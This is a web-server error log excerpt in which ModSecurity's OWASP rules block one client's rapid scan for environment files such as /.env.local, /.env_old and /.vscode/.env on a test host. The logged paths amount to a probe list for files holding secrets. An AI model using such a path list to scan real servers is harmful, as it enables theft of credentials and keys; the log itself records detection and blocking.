[Wed Feb 25 06:04:24.978907 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aZ6C2Iv6AM5Bs3q_JQDX1wAAAAc&quot;]
[Wed Feb 25 06:04:24.979105 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.dev.local&quot;] [unique_id &quot;aZ6C2Iv6AM5Bs3q_JQDX1wAAAAc&quot;]
[Wed Feb 25 06:04:25.125950 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env_old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_old&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX2QAAAAc&quot;]
[Wed Feb 25 06:04:25.126259 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_old&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX2QAAAAc&quot;]
[Wed Feb 25 06:04:25.126488 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env_old&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX2QAAAAc&quot;]
[Wed Feb 25 06:04:25.321162 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.development.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.sample&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX2wAAAAc&quot;]
[Wed Feb 25 06:04:25.321458 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.sample&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX2wAAAAc&quot;]
[Wed Feb 25 06:04:25.321660 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.development.sample&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX2wAAAAc&quot;]
[Wed Feb 25 06:04:25.428922 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env-sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-sample&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX3QAAAAc&quot;]
[Wed Feb 25 06:04:25.429197 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-sample&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX3QAAAAc&quot;]
[Wed Feb 25 06:04:25.429395 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env-sample&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX3QAAAAc&quot;]
[Wed Feb 25 06:04:25.491755 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX3gAAAAc&quot;]
[Wed Feb 25 06:04:25.492045 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX3gAAAAc&quot;]
[Wed Feb 25 06:04:25.492235 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod.local&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX3gAAAAc&quot;]
[Wed Feb 25 06:04:25.555632 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.travis&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.travis&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX3wAAAAc&quot;]
[Wed Feb 25 06:04:25.555909 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.travis&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX3wAAAAc&quot;]
[Wed Feb 25 06:04:25.556108 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.travis&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX3wAAAAc&quot;]
[Wed Feb 25 06:04:25.590504 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.test.sample&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.sample&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX4AAAAAc&quot;]
[Wed Feb 25 06:04:25.590808 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.sample&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX4AAAAAc&quot;]
[Wed Feb 25 06:04:25.591013 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.test.sample&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX4AAAAAc&quot;]
[Wed Feb 25 06:04:25.728082 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.2&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX4QAAAAc&quot;]
[Wed Feb 25 06:04:25.728385 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX4QAAAAc&quot;]
[Wed Feb 25 06:04:25.728578 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.2&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX4QAAAAc&quot;]
[Wed Feb 25 06:04:25.751382 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.vscode/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX4gAAAAc&quot;]
[Wed Feb 25 06:04:25.751666 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX4gAAAAc&quot;]
[Wed Feb 25 06:04:25.751844 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.vscode/.env&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX4gAAAAc&quot;]
[Wed Feb 25 06:04:25.861363 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX4wAAAAc&quot;]
[Wed Feb 25 06:04:25.861652 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX4wAAAAc&quot;]
[Wed Feb 25 06:04:25.861856 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX4wAAAAc&quot;]
[Wed Feb 25 06:04:25.963040 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.txt&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX5AAAAAc&quot;]
[Wed Feb 25 06:04:25.963317 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX5AAAAAc&quot;]
[Wed Feb 25 06:04:25.963499 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.txt&quot;] [unique_id &quot;aZ6C2Yv6AM5Bs3q_JQDX5AAAAAc&quot;]
[Wed Feb 25 06:04:26.154210 2026] [:error] [pid 2312957] [client 185.177.72.13:15324] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;aZ6C2ov6AM5Bs3q_JQDX5QAAAAc&quot;]
